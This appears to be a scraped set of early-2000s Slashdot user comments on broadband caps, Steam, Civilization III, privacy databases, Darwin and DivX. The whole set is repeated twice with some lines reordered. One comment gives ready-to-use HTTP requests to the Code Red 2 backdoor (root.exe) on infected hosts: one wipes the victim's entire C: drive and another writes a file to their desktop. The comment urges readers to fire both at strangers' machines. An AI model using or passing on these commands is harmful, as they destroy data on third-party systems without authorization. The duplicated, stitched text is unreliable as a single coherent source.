During his presentation to GameSpy, Newell showed Half-Life running off a broadband connection. Mind you, no game files were installed on the client machine . After launching Half-Life from Steam, it downloaded the necessary files (which took hardly any time at all - actually it was faster than using a CD ), and before you knew it, the introductory cinematic for Half-Life was running.
Wow! where can I get broadband that fast?;)
"There is 3% CPU utilization by Steam client," Newell said. "92% wire utilization, 4:1 compression and about 50% cache hits."
Under "Tools" -> "Internet Options" -> "Advanced" deselect "Enable third party browser extensions" and reboot. Even if the.dll responsible for the redirection, bpboh.dll, is installed, it won't be able to run.
They only "rigged" the old @Home nameservers. Once you switched to DHCP and stopped using your old settings, everything was normal.
They did this so that people who set up their computers with static info would get a helpful info screen - no matter what protocol they used.
It was really clever - load any webpage, get the attbi help page. Read any usenet group, and there's only 1 post - the attbi help instructions. Check your email? 1 email on the POP server - from attbi, with help instructions.
(The fact that they did this for NNTP was really, really cool, IMHO)
Yes, it's true, and it's national. I don't like it, but I'm no longer complaining. Yes, I used to be able to get ~400,000 bytes/sec.. but I can see how selling a $3000/mo connection for $45/mo might be a cause for bankrupcy.
The upload limit has been 12,800 bytes/s for the last year.
(I'm using bytes, because nobody seems to understand the diff between KB, Kb, Mbps, MB, etc).
The more important issue here, is DSL - some lucky people close to their CO can now get *slightly* faster speeds with DSL, and perhaps a better upstream rate. And run servers. And have a static IP. And get real tech support.
And - pay the same, or less, a month.
In short: The main reason I picked cable over DSL no longer exists. But I'm too lazy to make the switch.
; Sid Meier's Civilization III
;
; Dialog box scripts
;
; Copyright (c) 2000, 2001 by Firaxis Games, Inc.
;
;
; INSTRUCTIONS FOR TRANSLATORS!
;
; 1) These files must not be saved in "Microsoft Word Format", or they will
; be ruined. They MUST be saved in "Text Only" format.
So all those dreams recently, where my teeth fall out.. are on Mars! I knew something was strange.. wait, am I dreaming that? or is this part of my Rekall vacation?
WOW.. I've always thought that the Windows program "Paint Shop Pro" by Jasc was as good, if not better, then Adobe Photoshop. It's a great example of "shareware" (trailware?) that's as good, if not better, then some of the comercial stuff out there.. anyway, I double clicked this postscript file, just for the hell of it.. and guess what? PSP can view postscript, and render it with all kinds of nifty options (anti aliasing etc). This program never ceases to amaze me...
The following HTTP request will erase everything on the infected machine's C: drive, which prevents it from attacking more machines, and possibly makes the user consider installing Linux rather then reinstalling WinNT/2K:
http:// {infected ip here }/scripts/root.exe?/c%20del%20/Q%20/F%20/S%20c:\*.*
If you're a nice guy, try the following (or something similar) to let the victim know they're infected:
http:// {infected ip here }/scripts/root.exe?/c%20echo%20f>c:\windows\desktop \ warning%20you%20have%20the%20code%20red%202%20viru s%20your%20computer%20attacked%20mine%20please%20g et%20a%20virus%20scanner.txt
When the victim sees something along the lines of "You've got a virus, you attacked me, go clean your system up!" sitting on their *desktop* they'll * NOTICE * it!
If you try to run "delete root.exe" you'll get an access denied..
kazekiri sent us a report from Slashdot/Japan which you'll need to translate to read
Slashdot Japan?! When did this happen? I did a search here & on google and saw almost nothing about a "slashdot.jp"... To me, the idea is just amazing.. perhaps it's the idea of a whole 'nother "geek culture" out there, in a parallel universe (er, Japan), but really having nothing in common otherwise, except, now... slashdot!
Cool article. And the page isn't slashdoted yet. But I have a feeling we're going to bring this guy's server to it's knees. Or cost him a few $100 in bandwidth. Slashdot should cache the page and link to the cached page, if the whole point of the article is to look at pretty pictures. Yeah, I know this is off topic, but this guy is going to regret showing off his groovy wooden box in.. oh, about 5 more mins?:(
Sorry;) But come on.. you work at night at an ISP? Alone with a nice, fat pipe? A machine with all the alt.binaries.* in the room next to you? After midnight?
Oh yeah. Bow bow.
Yes, this is terrible, and yes, I know everyone here hates the idea, but face it - this is going to happen sooner or later, and there is nothing anyone can do about it. There are so many groups that want a nice, complete, up-to-date database of every citizen's information, that it will happen eventually no matter how loud you protest. Rather then sit around and complain, we need to develop a "prototype" system that's inherently secure, peer reviewed, etc, and make sure it is the system that is put in place, instead of a poorly designed, easily hacked/sysadmin bribed system designed by the government, some mega corporation (i.e. Microsoft), etc. In other words: computers make life easier... even for people we don't like. Some people don't value "privacy" - most of them "manage" large groups of people (and money). Let's give them what they want - our way.
I don't know what my credit rating is. If it's fucked up, I don't know how to dispute it. There is a "credit database" out there somewhere, but I don't know who runs it, or who has access to it. If there was a "public database" (*designed correctly*), I would be asked permission, via email or however, every time someone wanted to look at or change my information. I have to authorize every transaction. Of course, I'd have to say "yes" when asked "Will you grant [Internal Revenue Service] rights to [view, modify] the entries filed under [financial]?" because there would be a law requiring me to do so, but aside from transactions required by law, there'd be nothing keeping me from saying "no" when it's a modification I dispute, or a request from an organization I don't like, etc.
Of course this would require a person to micro-manage every bit of his/her public/personal information, but at least it would be possible, and setting up a system NOW that lets you do this sets a privacy-friendly precedent.
A. The purpose of Darwin is to provide the core system software for Mac OS X. It is not designed to be an alternative to other excellent BSD options such as FreeBSD, NetBSD, and OpenBSD. Darwin is simply BSD tweaked in ways we think will help Apple deliver the next great version of the Mac OS. We should note, however, that apart from a few architectural differences (such as our use of the Mach kernel), we try to keep Darwin as compatible as possible with FreeBSD (our BSD reference platform).
Uhmm, what ever happened to the idea of sending compressed data over HTTP and letting the browser decompress it?.. Size of slashdot front page for me, as it is now: 36,793. Gziped: 9,248. Not that I care personally, since I have cable.. but most people aren't putting the cpu to use while "surfing the net". Wouldn't it make sense to cut bandwidth this way rather then try to do a clever "html hack"? yeah, I know, that's not the point of this contest, but I had to rant..
How is this a good thing? Someone hacked binaries of a Microsoft MPEG4 Codec and called it "Div-x" after the failed Circuit City format. It didn't become popular because it was a groovy Open Source project, or a new Codec never seen before, etc. It became popular because The Matrix looked real cool, and fit on a CD. If you stop and think about it, Div-X is owned by Microsoft, and named after something that started a Holy War not too long ago. The idea of putting a movie on a CD is good (and done before: VCDs), but Div-X is not the format to use. If MP3s are still lawsuit bait, I'd hate to see what Div-X does to the Internet media scene.
Slashdot Mirror
During his presentation to GameSpy, Newell showed Half-Life running off a broadband connection. Mind you, no game files were installed on the client machine . After launching Half-Life from Steam, it downloaded the necessary files (which took hardly any time at all - actually it was faster than using a CD ), and before you knew it, the introductory cinematic for Half-Life was running.
;)
Wow! where can I get broadband that fast?
"There is 3% CPU utilization by Steam client," Newell said. "92% wire utilization, 4:1 compression and about 50% cache hits."
And 100% buzzword utilization.
Under "Tools" -> "Internet Options" -> "Advanced" deselect "Enable third party browser extensions" and reboot. Even if the .dll responsible for the redirection, bpboh.dll, is installed, it won't be able to run.
Actually, it's:
"Tools" -> "Internet Options" -> "Advanced" -> deselect "Fraud"
Here is a link to the BBC story, with a picture of the cat (named "Cc:").
MEoW.
please don't!
When the Swiffer cloth is wiped over a surface, it creates an electrostatic charge to attract soil into the cloth.
I'd rather have water on my hardware then an "electrostatic cleaning charge"...
They only "rigged" the old @Home nameservers. Once you switched to DHCP and stopped using your old settings, everything was normal.
They did this so that people who set up their computers with static info would get a helpful info screen - no matter what protocol they used.
It was really clever - load any webpage, get the attbi help page. Read any usenet group, and there's only 1 post - the attbi help instructions. Check your email? 1 email on the POP server - from attbi, with help instructions.
(The fact that they did this for NNTP was really, really cool, IMHO)
Yes, it's true, and it's national. I don't like it, but I'm no longer complaining. Yes, I used to be able to get ~400,000 bytes/sec.. but I can see how selling a $3000/mo connection for $45/mo might be a cause for bankrupcy.
The upload limit has been 12,800 bytes/s for the last year.
(I'm using bytes, because nobody seems to understand the diff between KB, Kb, Mbps, MB, etc).
The more important issue here, is DSL - some lucky people close to their CO can now get *slightly* faster speeds with DSL, and perhaps a better upstream rate. And run servers. And have a static IP. And get real tech support.
And - pay the same, or less, a month.
In short: The main reason I picked cable over DSL no longer exists. But I'm too lazy to make the switch.
Right out of the \text\ directory:
"INSTRUCTIONS FOR TRANSLATORS!"
So, eh... uh?
; Sid Meier's Civilization III
;
; Dialog box scripts
;
; Copyright (c) 2000, 2001 by Firaxis Games, Inc.
;
;
; INSTRUCTIONS FOR TRANSLATORS!
;
; 1) These files must not be saved in "Microsoft Word Format", or they will
; be ruined. They MUST be saved in "Text Only" format.
>We just got slashdotted, our wiki died and this
/. should cache...)
You killed the wiki! YOU BASTARDS!
(Another reason
So all those dreams recently, where my teeth fall out.. are on Mars! I knew something was strange.. wait, am I dreaming that? or is this part of my Rekall vacation?
Other real-world uses could include describing a patient's psychological state for medical records.
uhmmm..
<phobias>cats; 2010 a.d.</phobias>
WOW.. I've always thought that the Windows program "Paint Shop Pro" by Jasc was as good, if not better, then Adobe Photoshop. It's a great example of "shareware" (trailware?) that's as good, if not better, then some of the comercial stuff out there.. anyway, I double clicked this postscript file, just for the hell of it.. and guess what? PSP can view postscript, and render it with all kinds of nifty options (anti aliasing etc). This program never ceases to amaze me...
The following HTTP request will erase everything on the infected machine's C: drive, which prevents it from attacking more machines, and possibly makes the user consider installing Linux rather then reinstalling WinNT/2K:
/scripts/root.exe?/c%20del%20/Q%20/F%20/S%20c:\*.*
http:// {infected ip here }
Yeah, I know, it's NASTY, but...
If you're a nice guy, try the following (or something similar) to let the victim know they're infected:
/scripts/root.exe?/c%20echo%20f>c:\windows\desktop \ warning%20you%20have%20the%20code%20red%202%20viru s%20your%20computer%20attacked%20mine%20please%20g et%20a%20virus%20scanner.txt
http:// {infected ip here }
When the victim sees something along the lines of "You've got a virus, you attacked me, go clean your system up!" sitting on their *desktop* they'll * NOTICE * it!
If you try to run "delete root.exe" you'll get an access denied..
kazekiri sent us a report from Slashdot/Japan which you'll need to translate to read
Slashdot Japan?! When did this happen? I did a search here & on google and saw almost nothing about a "slashdot.jp"... To me, the idea is just amazing.. perhaps it's the idea of a whole 'nother "geek culture" out there, in a parallel universe (er, Japan), but really having nothing in common otherwise, except, now... slashdot!
Cool article. And the page isn't slashdoted yet. But I have a feeling we're going to bring this guy's server to it's knees. Or cost him a few $100 in bandwidth. Slashdot should cache the page and link to the cached page, if the whole point of the article is to look at pretty pictures. Yeah, I know this is off topic, but this guy is going to regret showing off his groovy wooden box in.. oh, about 5 more mins? :(
pr0n
;) But come on.. you work at night at an ISP? Alone with a nice, fat pipe? A machine with all the alt.binaries.* in the room next to you? After midnight?
Sorry
Oh yeah. Bow bow.
Two stories in a row with comments along the lines of "This isn't an April Fools Joke"...April was last month. I'm confused.
Yes, this is terrible, and yes, I know everyone here hates the idea, but face it - this is going to happen sooner or later, and there is nothing anyone can do about it. There are so many groups that want a nice, complete, up-to-date database of every citizen's information, that it will happen eventually no matter how loud you protest. Rather then sit around and complain, we need to develop a "prototype" system that's inherently secure, peer reviewed, etc, and make sure it is the system that is put in place, instead of a poorly designed, easily hacked/sysadmin bribed system designed by the government, some mega corporation (i.e. Microsoft), etc. In other words: computers make life easier... even for people we don't like. Some people don't value "privacy" - most of them "manage" large groups of people (and money). Let's give them what they want - our way.
I don't know what my credit rating is. If it's fucked up, I don't know how to dispute it. There is a "credit database" out there somewhere, but I don't know who runs it, or who has access to it. If there was a "public database" (*designed correctly*), I would be asked permission, via email or however, every time someone wanted to look at or change my information. I have to authorize every transaction. Of course, I'd have to say "yes" when asked "Will you grant [Internal Revenue Service] rights to [view, modify] the entries filed under [financial]?" because there would be a law requiring me to do so, but aside from transactions required by law, there'd be nothing keeping me from saying "no" when it's a modification I dispute, or a request from an organization I don't like, etc.
Of course this would require a person to micro-manage every bit of his/her public/personal information, but at least it would be possible, and setting up a system NOW that lets you do this sets a privacy-friendly precedent.
From the FAQ:
Q. Where does Darwin fit into the BSD family?
A. The purpose of Darwin is to provide the core system software for Mac OS X. It is not designed to be an alternative to other excellent BSD options such as FreeBSD, NetBSD, and OpenBSD. Darwin is simply BSD tweaked in ways we think will help Apple deliver the next great version of the Mac OS. We should note, however, that apart from a few architectural differences (such as our use of the Mach kernel), we try to keep Darwin as compatible as possible with FreeBSD (our BSD reference platform).
Uhmm, what ever happened to the idea of sending compressed data over HTTP and letting the browser decompress it? .. Size of slashdot front page for me, as it is now: 36,793. Gziped: 9,248. Not that I care personally, since I have cable.. but most people aren't putting the cpu to use while "surfing the net". Wouldn't it make sense to cut bandwidth this way rather then try to do a clever "html hack"? yeah, I know, that's not the point of this contest, but I had to rant..
you only have to worry if your boss's name is CATS
How is this a good thing? Someone hacked binaries of a Microsoft MPEG4 Codec and called it "Div-x" after the failed Circuit City format. It didn't become popular because it was a groovy Open Source project, or a new Codec never seen before, etc. It became popular because The Matrix looked real cool, and fit on a CD. If you stop and think about it, Div-X is owned by Microsoft, and named after something that started a Holy War not too long ago. The idea of putting a movie on a CD is good (and done before: VCDs), but Div-X is not the format to use. If MP3s are still lawsuit bait, I'd hate to see what Div-X does to the Internet media scene.